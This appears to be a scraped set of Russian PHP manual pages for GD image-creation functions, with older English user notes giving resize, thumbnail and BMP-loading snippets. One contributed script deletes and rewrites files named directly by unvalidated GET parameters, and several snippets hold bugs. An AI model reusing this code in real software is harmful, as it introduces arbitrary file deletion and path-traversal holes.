This snippet allows you to grab a thumbnail from the center of a large image.  This was used for a client photo gallery for art to give a teaser of the image to come (only a small portion).  You could get dynamic with this value.  I also put in a scaling factor in case you want to scale down first before chopping.

<?php
// The file
$filename = 'moon.jpg';
$percent = 1.0; // if you want to scale down first
$imagethumbsize = 200; // thumbnail size (area cropped in middle of image)
// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// Resample
$image_p = imagecreatetruecolor($imagethumbsize , $imagethumbsize);  // true color for best quality
$image = imagecreatefromjpeg($filename);

// basically take this line and put in your versin the -($new_width/2) + ($imagethumbsize/2) & -($new_height/2) + ($imagethumbsize/2) for
// the 2/3 position in the 3 and 4 place for imagecopyresampled
// -($new_width/2) + ($imagethumbsize/2)
// AND
// -($new_height/2) + ($imagethumbsize/2)
// are the trick
imagecopyresampled($image_p, $image, -($new_width/2) + ($imagethumbsize/2), -($new_height/2) + ($imagethumbsize/2), 0, 0, $new_width , $new_width , $width, $height);

// Output

imagejpeg($image_p, null, 100);
?>
development at lab-9 dot com 25-Apr-2005 03:35
If you read your Imagedata from a Database Blob and use the functions from above to resize the image to a thumbnail improving a lot of traffic, you will have to make temporary copies of the files in order that the functions can access them

Here a example:

// switch through imagetypes
$extension = "jpg";
if(mysql_result($query, 0, 'type') == "image/pjpeg")
{ $extension = "jpg"; } // overwrite
else if(mysql_result($query, 0, 'type') == "image/gif")
{ $extension = "gif"; } // overwrite

// get a temporary filename
// use microtime() to get a unique filename
// if you request more than one file f.e. by creating large numbers of thumbnails, the server could be not fast enough to save all these different files and you get duplicated copies and resizepics() will resize and output often the same content

$filename = microtime()."_temp.".$extension;

// open
$tempfile = fopen($filename, "w+");

// write
fwrite($tempfile, mysql_result($query, 0, 'image'));

// close
fclose($tempfile);

// resize and output the content
echo resizepics($filename, '100', '70');

// delete temporary file
unlink($filename);

NOTE: this script has to be put into a file which sends correct header informations to the browser, otherwise you won't get more to see than a big red cross :-)
robby at planetargon dot com 28-Feb-2005 07:56
Most of the examples below don't keep the proportions properly. They keep using if/else for the height/width..and forgetting that you might have a max height AND a max width, not one or the other.

/**
* Resize an image and keep the proportions
* @author Allison Beckwith <allison@planetargon.com>
* @param string $filename
* @param integer $max_width
* @param integer $max_height
* @return image
*/
function resizeImage($filename, $max_width, $max_height)
{
    list($orig_width, $orig_height) = getimagesize($filename);

    $width = $orig_width;
    $height = $orig_height;

    # taller
    if ($height > $max_height) {
        $width = ($max_height / $height) * $width;
        $height = $max_height;
    }

    # wider
    if ($width > $max_width) {
        $height = ($max_width / $width) * $height;
        $width = $max_width;
    }

    $image_p = imagecreatetruecolor($width, $height);

    $image = imagecreatefromjpeg($filename);

    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                                     $width, $height, $orig_width, $orig_height);

    return $image_p;
}
haker4o at haker4o dot org 26-Feb-2005 08:57
<?php
//                      Resize image.
//             Writeen By: Smelban & Haker4o
// Mails smelban@smwebdesigns.com & Haker4o@Haker4o.org
// This code is written to only execute on  jpg,gif,png
// $picname = resizepics('pics', 'new widthmax', 'new heightmax');
// Demo  $picname = resizepics('stihche.jpg', '180', '140');
$picname = resizepics('picture-name.format', '180', '140');
echo $pickname;
//Error
die( "<font color=\"#FF0066\"><center><b>File not exists :(<b></center></FONT>");
//Funcion resizepics
function resizepics($pics, $newwidth, $newheight){
     if(preg_match("/.jpg/i", "$pics")){
           header('Content-type: image/jpeg');
     }
     if (preg_match("/.gif/i", "$pics")){
           header('Content-type: image/gif');
     }
     list($width, $height) = getimagesize($pics);
     if($width > $height && $newheight < $height){
       $newheight = $height / ($width / $newwidth);
     } else if ($width < $height && $newwidth < $width) {
       $newwidth = $width / ($height / $newheight);
     } else {
       $newwidth = $width;
       $newheight = $height;
    }
    if(preg_match("/.jpg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = imagecreatefromjpeg($pics);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    $source = Imagecreatefromjpeg($pics);
    }
    if(preg_match("/.png/i", "$pics")){
    $source = imagecreatefrompng($pics);
    }
    if(preg_match("/.gif/i", "$pics")){
    $source = imagecreatefromgif($pics);
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
    if(preg_match("/.jpg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.jpeg/i", "$pics")){
    return imagejpeg($thumb);
    }
    if(preg_match("/.png/i", "$pics")){
    return imagepng($thumb);
    }
    if(preg_match("/.gif/i", "$pics")){
    return imagegif($thumb);
    }
 }
?>
smelban at smwebdesigns dot com 15-Feb-2005 08:37
Resize image proportionaly where you give a max width or max height

<?php
header('Content-type: image/jpeg');
//$myimage = resizeImage('filename', 'newwidthmax', 'newheightmax');
$myimage = resizeImage('test.jpg', '150', '120');
print $myimage;

function resizeImage($filename, $newwidth, $newheight){
    list($width, $height) = getimagesize($filename);
    if($width > $height && $newheight < $height){
        $newheight = $height / ($width / $newwidth);
    } else if ($width < $height && $newwidth < $width) {
        $newwidth = $width / ($height / $newheight);
    } else {
        $newwidth = $width;
        $newheight = $height;
    }
    $thumb = imagecreatetruecolor($newwidth, $newheight);
    $source = imagecreatefromjpeg($filename);
    imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
    return imagejpeg($thumb);
}
?>
finnsi at centrum dot is 13-Feb-2005 05:30
If you need to delete or resize images in the filesystem (not in DB) without loosing the image quality...
I commented the code as much as possible so that newbies (like myself) will understand it.  ;)

<?php

    /*

    WRITTEN BY:
    Finnur Eiriksson, (http://www.centrum.is/finnsi)
    Based on snippets that have been posted on www.PHP.net
    Drop me an e-mail if you have any questions.

    NOTE:
    This code is written to either delete or resize pictures in the file system, so if you have your pictures in a database
    you will have to make some changes. Also, if you are using other picture formats than .gif's or .jpg's you
    will have to add som code as well (Read the comments to find out where to do this).

    IMPORTANT:
    The $_GET['resizepic'] variable only contains the NAME of the file that is going to be deleted/resized.

    The internet guest account (IUSR_SERVERNAME on WINDOWS) must have read and write permissions (execution permission not needed)
    in your image directory (i.e. $dir_name = "FooBar"). It is a good idea to have a separate directory for images that users
    can upload to and manipulate the contents. Ideally, you should have one directory for the pictures that are used for the website,
    and another upload directory

    */

    $dir_name = "FooBar";  // Enter the name of the directory that contains the images
    $olddir = getcwd();  // Get the Current Windows Directory to be able to switch back in the end of the script
    $dir = opendir($dir_name); //make a directory handle
    //To delete a picture
    if(isset($_GET['delpic'])){
        chdir('images');
        $delpic = $_GET['delpic'];
        @unlink($delpic);
        chdir($olddir);
    }
    //To resize a picture
    if(isset($_GET['resize'])){
        //$_GET['resize'] contains the resize-percentage (for example 80 and 40, for 80% and 40% respectively. To double the image in size the user enters 200 etc.)
        // File and new size
        $percent = ($_GET['resize']/100);
        chdir('images');// change the windows directory to the image directory
        $filename = $_GET['resizepic'];

        // Decide the content type, NB:This code is written to only execute on .gif's and .jpg's
        // If you want other formats than .gif's and .jpg's add your code here, in the same manner:
        $format='';
        if(preg_match("/.jpg/i", "$filename")){
            $format = 'image/jpeg';
            header('Content-type: image/jpeg');
        }
        if (preg_match("/.gif/i", "$filename")){
            $format = 'image/gif';
            header('Content-type: image/gif');
        }
        if($format!=''){  //This is where the actual resize process begins...
            // Get new sizes
            list($width, $height) = getimagesize($filename);
            $newwidth = $width * $percent;
            $newheight = $height * $percent;

            // Load the image
            switch($format){
                case 'image/jpeg':
                    $source = imagecreatefromjpeg($filename);
                break;
                case 'image/gif';
                    $source = imagecreatefromgif($filename);
                break;
            }
            //Get the Image
            $thumb = imagecreatetruecolor($newwidth,$newheight);
            //This must be set to false in order to be able to overwrite the black
            //pixels in the background with transparent pixels. Otherwise the new
            //pixels would just be applied on top of the black background.
            imagealphablending($thumb, false);
            //Make a temporary file handle
            $source = @imagecreatefromjpeg($filename);
            // Resize
            imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);
            //Write the image to the destination file
            @imagejpeg($thumb, $filename);
            //Change back to the old directory... I'm not sure that this is neccessary
            chdir($olddir);
            //Specify where you want the user to go after the operation:
            header('Location: foobar.php');
        }
    }

?>
marcy DOT xxx (AT) gmail.com 02-Jan-2005 11:06
This example allow to use every kind of image and to resize images with ImageCopyResized(), maintaining proportions..

<?php
// switch to find the correct type of function

$imgfile = 'namefile.jpg';
Header("Content-type: image/".$_GET["type"]);

switch($_GET["type"]){
default:
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "jpg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
case "jpeg":
    $function_image_create = "ImageCreateFromJpeg";
    $function_image_new = "ImageJpeg";
break;
case "png":
    $function_image_create = "ImageCreateFromPng";
    $function_image_new = "ImagePNG";
break;
case "gif":
    $function_image_create = "ImageCreateFromGif";
    $function_image_new = "ImagePNG";
break;
}

list($width, $height) = getimagesize($imgfile);

// the new weight of the thumb

$newheight = 80;

// Proportion is maintained

$newwidth = (int) (($width*80)/$height);

$thumb = ImageCreateTrueColor($newwidth,$newheight);
$source = @function_image_create($imgfile);

ImageCopyResized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight, $width, $height);

@$function_image_new($thumb);
?>
backglancer at hotmail 13-Dec-2004 07:10
Neat script to create a thumbnails no larger than 150 (or user-specific) height AND width.

<?PHP
$picture ="" # picture fileNAME here. not address
$max=150;    # maximum size of 1 side of the picture.
/*
here you can insert any specific "if-else",
or "switch" type of detector of what type of picture this is.
in this example i'll use standard JPG
*/

$src_img=ImagecreateFromJpeg($picture);

$oh = imagesy($src_img);  # original height
$ow = imagesx($src_img);  # original width

$new_h = $oh;
$new_w = $ow;

if($oh > $max || $ow > $max){
        $r = $oh/$ow;
        $new_h = ($oh > $ow) ? $max : $max*$r;
        $new_w = $new_h/$r;
}
// note TrueColor does 256 and not.. 8
$dst_img = ImageCreateTrueColor($new_w,$new_h);

ImageCopyResized($dst_img, $src_img, 0,0,0,0, $new_w, $new_h, ImageSX($src_img), ImageSY($src_img));

ImageJpeg($dst_img, "th_$picture");

?>
skurrilo at skurrilo dot de 28-Nov-2000 07:36
If you aren't happy with the quality of the resized images, just give ImageMagick a try. (http://www.imagemagick.org) This is a commandline tool for converting and viewing images.


Создание нового палитрового изображения

  • « imagecopyresized
  • imagecreatefromavif »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание нового палитрового изображения

imagecreate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreate — Создание нового палитрового изображения

Описание

imagecreate(int $width, int $height): GdImage|false

imagecreate() возвращает идентификатор изображения, представляющего из себя пустое изображение заданного размера.

Мы рекомендуем использовать функцию imagecreatetruecolor() вместо imagecreate(), так как она обрабатывает изображения с максимально возможным качеством. Если необходимо вывести палитру изображения, то imagetruecolortopalette() необходимо вызвать непосредственно перед сохранением изображения с помощью imagepng() или imagegif().

Список параметров

width

Ширина изображения.

height

Высота изображения.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Создание нового GD потока изображения и вывод изображения.

<?php
header("Content-Type: image/png");
$im = @imagecreate(110, 20)
or die("Невозможно создать поток изображения");
$background_color = imagecolorallocate($im, 0, 0, 0);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Создание нового GD потока изображения и вывод изображения.

Смотрите также

  • imagedestroy() - Уничтожение изображения
  • imagecreatetruecolor() - Создание нового полноцветного изображения

User Contributed Notes

marc at gutt dot it 02-Mar-2015 10:28
Based on DHKold's contribution I realized imagecreatefrombmp() to support all 1-, 4-, 8-, 16-, 24- und 32-Bit Bitmaps. Finally Fabien Menager brought it to perfection for the project DOMPDF. Feel free to use it:
https://code.google.com/p/dompdf/source/browse/trunk/dompdf/include/functions.inc.php?spec=svn504&r=504#551
JamesM 26-Mar-2010 12:03
doesnt ruin the image but adds display to the output.
this will generate an image with a random color. if you like it you can use it because you have the RBG result too.
<?php
header("content-type:image/png");
$im = imagecreate(100, 100);
$a = sprintf('%04x',mt_rand(0, 65535));
$b = sprintf('%04x',mt_rand(0, 65535));
$c = sprintf('%04x',mt_rand(0, 65535));
$white = imagecolorallocate($im,$a,$b,$c);
imagepng($im);
imagedestroy($im);
echo "\n\n\n$a-$b-$c";
?>
sk89q 14-Mar-2008 02:14
Loads a file based on its filetype and returns false if it fails.

<?php
function imagecreatefromfile($path, $user_functions = false)
{
    $info = @getimagesize($path);

    if(!$info)
    {
        return false;
    }

    $functions = array(
        IMAGETYPE_GIF => 'imagecreatefromgif',
        IMAGETYPE_JPEG => 'imagecreatefromjpeg',
        IMAGETYPE_PNG => 'imagecreatefrompng',
        IMAGETYPE_WBMP => 'imagecreatefromwbmp',
        IMAGETYPE_XBM => 'imagecreatefromwxbm',
        );

    if($user_functions)
    {
        $functions[IMAGETYPE_BMP] = 'imagecreatefrombmp';
    }

    if(!$functions[$info[2]])
    {
        return false;
    }

    if(!function_exists($functions[$info[2]]))
    {
        return false;
    }

    return $functions[$info[2]]($path);
}
?>
scottlindh pwnd at hushmail dot com 19-Aug-2007 10:40
to install on UBUNTU do the following..

sudo apt-get install php5-gd

After installing the package I restarted the apache

sudo /etc/init.d/apache reload

goto love ubuntu...
Sohel Taslim 25-Jul-2007 12:22
It is easy and simple example to convert Text to Image with selected font.
It helps me to display Bangla text as image when users have no installed bangla font.

I hope it can help you too!

<?php
//Kip the font file together or write proper location.
makeImageF("Life in PHP.","CENTURY.TTF");

function makeImageF($text, $font="CENTURY.TTF", $W=200, $H=20, $X=0, $Y=0, $fsize=18, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

    $im = @imagecreate($W, $H)
        or die("Cannot Initialize new GD image stream");

    $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);        //RGB color background.
    $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]);            //RGB color text.

    imagettftext($im, $fsize, $X, $Y, $fsize, $text_color, $font, $text);

    header("Content-type: image/gif");
    return imagegif($im);
}

?>
help at nanomc dot com 08-Nov-2005 11:29
// A simple XY graph

<html>
<head>

 <title>XY Graph</title>

<h2>Practice XY Graph</h2>
</head>
<body>

<?php
$left = 0;
$top = 0;
$x_size = 400;
$y_size = 400;

$char_width = 8;
$char_height = 11;

$x_start = $x_left + 100;
$y_start = $top + $char_height * 1.5;
$x_end = $x_start + $x_size;
$y_end = $y_start + $y_size;
$right = $x_start + $x_size + 40;
$bottom = $y_start + $y_size + $char_height * 1.5;

$graph_n = 100;
for($i = 0; $i < $graph_n; $i++ )
    {
    $graph_x[$i] = $i;
    $graph_y[$i] = $i * $i;
    }

    $min_x = 9e99;
    $min_y = 9e99;
    $max_x = -9e99;
    $max_y = -9e99;

    $avg_y = 0.0;

    for($i = 0; $i < $graph_n; $i++ )
        {
        if( $graph_x[$i] < $min_x )
            $min_x = $graph_x[$i];

        if( $graph_x[$i] > $max_x )
            $max_x = $graph_x[$i];

        if( $graph_y[$i] < $min_y )
            $min_y = $graph_y[$i];

        if( $graph_y[$i] > $max_y )
            $max_y = $graph_y[$i];

        $avg_y += $graph_y[$i];
        }

    $avg_y = $avg_y / $graph_n;

    $min_x = 0;
    $min_y = 0;
    $max_x += $max_x * 0.05;
    $max_y += $max_y * 0.05;

$image = ImageCreate($right - $left, $bottom - $top);
$background_color = imagecolorallocate($image, 255, 255, 255);
$text_color = imagecolorallocate($image, 233, 14, 91);

$grey = ImageColorAllocate($image, 204, 204, 204);
$white = imagecolorallocate($image, 255, 255, 255);
$black = imagecolorallocate($image, 0, 0, 0);
$red = imagecolorallocate($image, 255, 0, 0);

imagerectangle($image, $left, $top, $right - 1, $bottom - 1, $black );
imagerectangle($image, $x_start, $y_start, $x_end, $y_end, $grey );

for($i = 0; $i < $graph_n; $i++ )
   {
   $pt_x = $x_start + ($x_end-$x_start)*($graph_x[$i]-$min_x)/($max_x-$min_x);
   $pt_y = $y_end - ($y_end - $y_start)*($graph_y[$i]-$min_y)/($max_y-$min_y);

 //  imagesetpixel( $image, $pt_x, $pt_y, $black );
   imagechar($image, 2, $pt_x - 3, $pt_y - 10, '.', $black);
   }

$string = sprintf("%2.5f", $max_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_start - $char_width, $string, $black);

$string = sprintf("%2.5f", $min_y);
imagestring($image, 4, $x_start - strlen($string) * $char_width, $y_end - $char_height, $string, $black);

$string = sprintf("%2.5f", $min_x);
imagestring($image, 4, $x_start - (strlen($string) * $char_width)/2, $y_end, $string, $black);

$string = sprintf("%2.5f", $max_x);
imagestring($image, 4, $x_end - (strlen($string) * $char_width) / 2, $y_end, $string, $black);

$x_title = 'x axis';
$y_title = 'y axis';

imagestring($image, 4, $x_start + ($x_end - $x_start) / 2 - strlen($x_title) * $char_width / 2, $y_end, $x_title, $black);

imagestring($image, 4, $char_width, ($y_end - $y_start) / 2, $y_title, $black);

header('Content-type: image/png');
$filename = sprintf("%d.png", time());
ImagePNG($image,$filename);
ImageDestroy($image);

printf("<img src='%s'> ", $filename);
?>

</body>
</html>
DHKold 15-Jun-2005 02:52
to create an image from a BMP file, I made this function, that return a resource like the others ImageCreateFrom function:

<?php
/*********************************************/
/* Fonction: ImageCreateFromBMP              */
/* Author:   DHKold                          */
/* Contact:  admin@dhkold.com                */
/* Date:     The 15th of June 2005           */
/* Version:  2.0B                            */
/*********************************************/

function ImageCreateFromBMP($filename)
{
 //Ouverture du fichier en mode binaire
   if (! $f1 = fopen($filename,"rb")) return FALSE;

 //1 : Chargement des ent?tes FICHIER
   $FILE = unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset", fread($f1,14));
   if ($FILE['file_type'] != 19778) return FALSE;

 //2 : Chargement des ent?tes BMP
   $BMP = unpack('Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel'.
                 '/Vcompression/Vsize_bitmap/Vhoriz_resolution'.
                 '/Vvert_resolution/Vcolors_used/Vcolors_important', fread($f1,40));
   $BMP['colors'] = pow(2,$BMP['bits_per_pixel']);
   if ($BMP['size_bitmap'] == 0) $BMP['size_bitmap'] = $FILE['file_size'] - $FILE['bitmap_offset'];
   $BMP['bytes_per_pixel'] = $BMP['bits_per_pixel']/8;
   $BMP['bytes_per_pixel2'] = ceil($BMP['bytes_per_pixel']);
   $BMP['decal'] = ($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] -= floor($BMP['width']*$BMP['bytes_per_pixel']/4);
   $BMP['decal'] = 4-(4*$BMP['decal']);
   if ($BMP['decal'] == 4) $BMP['decal'] = 0;

 //3 : Chargement des couleurs de la palette
   $PALETTE = array();
   if ($BMP['colors'] < 16777216)
   {
    $PALETTE = unpack('V'.$BMP['colors'], fread($f1,$BMP['colors']*4));
   }

 //4 : Cr?ation de l'image
   $IMG = fread($f1,$BMP['size_bitmap']);
   $VIDE = chr(0);

   $res = imagecreatetruecolor($BMP['width'],$BMP['height']);
   $P = 0;
   $Y = $BMP['height']-1;
   while ($Y >= 0)
   {
    $X=0;
    while ($X < $BMP['width'])
    {
     if ($BMP['bits_per_pixel'] == 24)
        $COLOR = unpack("V",substr($IMG,$P,3).$VIDE);
     elseif ($BMP['bits_per_pixel'] == 16)
     {
        $COLOR = unpack("n",substr($IMG,$P,2));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 8)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,$P,1));
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 4)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if (($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4) ; else $COLOR[1] = ($COLOR[1] & 0x0F);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     elseif ($BMP['bits_per_pixel'] == 1)
     {
        $COLOR = unpack("n",$VIDE.substr($IMG,floor($P),1));
        if     (($P*8)%8 == 0) $COLOR[1] =  $COLOR[1]        >>7;
        elseif (($P*8)%8 == 1) $COLOR[1] = ($COLOR[1] & 0x40)>>6;
        elseif (($P*8)%8 == 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5;
        elseif (($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;
        elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] & 0x8)>>3;
        elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1] & 0x4)>>2;
        elseif (($P*8)%8 == 6) $COLOR[1] = ($COLOR[1] & 0x2)>>1;
        elseif (($P*8)%8 == 7) $COLOR[1] = ($COLOR[1] & 0x1);
        $COLOR[1] = $PALETTE[$COLOR[1]+1];
     }
     else
        return FALSE;
     imagesetpixel($res,$X,$Y,$COLOR[1]);
     $X++;
     $P += $BMP['bytes_per_pixel'];
    }
    $Y--;
    $P+=$BMP['decal'];
   }

 //Fermeture du fichier
   fclose($f1);

 return $res;
}
?>
05-Jan-2005 01:30
This is how you can create a thumbnail with maximum height and width. This way it will fit nicely in a gallery table. In this example $im is the source image
<?
    //calculate thumb size
            $ow = imagesx($im);
            $oh = imagesy($im);
            $maxh = 100;
            $maxw = 150;
            $new_h = $oh;
            $new_w = $ow;

            if($oh > $maxh || $ow > $maxw){
               $new_h = ($oh > $ow) ? $maxh : $oh*($maxw/$ow);
               $new_w = $new_h/$oh*$ow;
            }

            //create dst image
            $dst_img = ImageCreateTrueColor($new_w,$new_h);
            //resize and copy image
            ImageCopyResized($dst_img, $im, 0,0,0,0, $new_w, $new_h, ImageSX($im), ImageSY($im));
            $function_image_new($dst_img,$galdir.$file);
?>
cstevens at gencom dot us 20-Apr-2004 04:56
Here's how I resolved the "Fatal error: Call to undefined function: imagecreate()" error using Gentoo:

1) add a USE flag for gdb in /etc/make.conf

   USE="3dnow avi [whatever else you have] gdb"

   Note: here's a list of all of the USE flags:
   http://www.gentoo.org/dyn/use-index.xml

2) unmerged mod_php

*Note* It could take awhile to "remerge" as it may need to compile several dependancies...do this during not production hours and have a backup if you absolutely cannot have downtime

   emerge -C mod_php

3) emerged mod_php

   emerge -p mod_php
    # find out if it's going to take awhile

4) edit /etc/php/apach2-php4/php.ini
     uncomment the "extension=php_gd2.dll" line

5) Restart apache2

    /etc/init.d/apache2 restart

Hope this helps!

--
Cooper Stevenson
GenCom
http://www.gencom.us
foxlovr1 at cox dot net 12-Apr-2004 04:11
You can set it up so you can write a text which is controled from the URL.

Like this...

<?php
header("Content-type: image/png");
$im = @imagecreate(128, 16) or die("Cannot Initialize new GD image stream");
$bc = imagecolorallocate($im, 0, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);
imagestring($im, 1, 4, 4,  $t, $tc);
imagepng($im);
imagedestroy($im);
?>

Then when you use the image, use this...

<img src="http://www.yourdomain.com/stuff/cool_image.php?t=Text">

This will create an image with a cyan background, and in black text it will say "Text"

EMail me at foxlovr1@cox.net or aquafox90@yahoo.com for comments/questions.
sjnorrie at hotmail dot com 03-Dec-2003 11:07
On windows.

When you get undefined function image* it means the gd library isnt being used. Check the php.ini file. Make sure the php_gd.dll isnt commented out. Restarting apache should result in the image functions working.
tassader at xmail dot cz 21-Oct-2003 08:55
It seems that imagecreate creates a grayscale image with gd2
tore at kyberheimen dot com 29-Aug-2002 02:33
GD UPGRADE PROBLEM:
I used imagecreate with gd 1.6 to make resized images of big photos. Then, when using the same script on gd 2.0, the colors got all wrong.
Using imagecreatetruecolor() fixed the problem!
php at silisoftware dot com 17-May-2002 10:17
Don't try and create an image with a really large width and/or height. First, $width x $height is (at least) the bytes of memory that need to be allocated. Secondly, if you exceed the range of int for either parameter, Apache crashes (before allocating any memory).
Don't ask how I figured this out ;)
robert at scpallas dot de 08-Feb-2002 08:09
The function ImageCreate() creates a PALETTE image.
The function ImageCreateFromJPEG() creates a TRUE COLOR image.

When you use GD 2.0 you will get an error when you try to use ImageCopy()
with one True color image and one Palette image.

Be sure to convert one of the images before using ImageCopy() or use ImageCreateTrueColor() instead of ImageCreate().
andrus at vnet dot ee 08-Jul-2001 09:09
Dont forget to use ImageDestoy after showed image. I forgot it, my webpage had about 15 pictures what was generated by GD and webserver died very fastly (server was Dual Xeon 900MHz and 4G RAM :[[ ). It died cos of not enough memory :\
wouter at rusman dot net 06-Jul-2001 05:31
to compile GD support on some linux distributions you have to include these with the ./configure command :
--with=gd=/usr --with-jpeg=/usr --with-png=/usr --with-zlib=/usr

(i had to include this on Redhat 6.1)
this becase the libraries are in /usr/lib instead of /lib
altype at bellsouth dot net 19-Apr-2001 04:13
ImagePNG($pic,"./dir/pic.png");

To save image as a file, I had to create a directory "dir" and CHMOD 777 to give read, write, and execute permission for everyone - or it wouldn't save it...
removethisbeforebayet at removethistooenseirb dot fr 08-Feb-2001 03:00
Pay attention to a problem I encountered.
Png images created with the PHP function seems to be very badly recognised by old browsers, especially -well, mainly - by IE 4.0 (crash of the browser).
I think this is probably due to the fact that, when IE 4.0 was released, the png format was either very recent, either not very used, because of the widespread jpeg and gif formats...
So, if you plan to dynamically create images for a web site to be seen by IE 4.0 users, think of it...
May'be the jpeg format will do the job better.
kim at kimmccall dot org 14-Dec-2000 04:22
How I fixed my "undefined function imagecreate()" problem:
I was having the same problem many have reported where most of PHP worked but the gd functions didn't.  I'd installed the RedHat rpm php-4.0.1pl2.  It said (phpinfo.php) that it had been configured with the '--with-gd=shared' option.  In my /usr/lib directory, I had both libgd.so.1.8.3 and libgd.a.  I decided to compile with the static library instead, so I downloaded the sources and built with all the same configuration flags except that I used --with-gd=/usr.  Now my gd library works!!!


Создаёт новое изображение из файла или URL

  • « imagecreate
  • imagecreatefrombmp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromavif

(PHP 8 >= 8.1.0)

imagecreatefromavif — Создаёт новое изображение из файла или URL

Описание

imagecreatefromavif(string $filename): GdImage|false

imagecreatefromavif() возвращает объект изображения, представляющий изображение, полученное из данного имени файла.

Список параметров

filename

Путь до растрового изображения AVIF.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое изображение из файла или URL

  • « imagecreatefromavif
  • imagecreatefromgd2 »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefrombmp

(PHP 7 >= 7.2.0, PHP 8)

imagecreatefrombmp — Создаёт новое изображение из файла или URL

Описание

imagecreatefrombmp(string $filename): GdImage|false

imagecreatefrombmp() возвращает идентификатор изображения, представляющий изображение, полученное из переданного имени файла.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к BMP-изображению.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Конвертирование BMP-изображения в PNG-изображения, используя imagecreatefrombmp()

<?php
// Загрузить BMP-файл
$im = imagecreatefrombmp('./example.bmp');

// Преобразовать в PNG-файл с настройками по умолчанию
imagepng($im, './example.png');
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


Создание нового изображения на основе GD2 или URL

  • « imagecreatefrombmp
  • imagecreatefromgd2part »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание нового изображения на основе GD2 или URL

imagecreatefromgd2

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imagecreatefromgd2 — Создание нового изображения на основе GD2 или URL

Описание

imagecreatefromgd2(string $filename): GdImage|false

Создание нового изображения на основе GD2 или URL.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к GD2 изображению.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования imagecreatefromgd2()

<?php
// загрузка gd2 изображения
$im = imagecreatefromgd2('./test.gd2');

// применение эффекта к изображению, этот код
// инвертирует цвета
if(function_exists('imagefilter'))
{
imagefilter($im, IMG_FILTER_NEGATE);
}

// сохранение изображения
imagegd2($im, './test_updated.gd2');
imagedestroy($im);
?>

Примечания

Внимание

Форматы изображений GD и GD2 являются проприетарными форматами изображений libgd. Они должны рассматриваться как устаревшие и должны использоваться только для целей разработки и тестирования.

User Contributed Notes

There are no user contributed notes for this page.


Создание нового изображения на основе части GD2 файла или URL

  • « imagecreatefromgd2
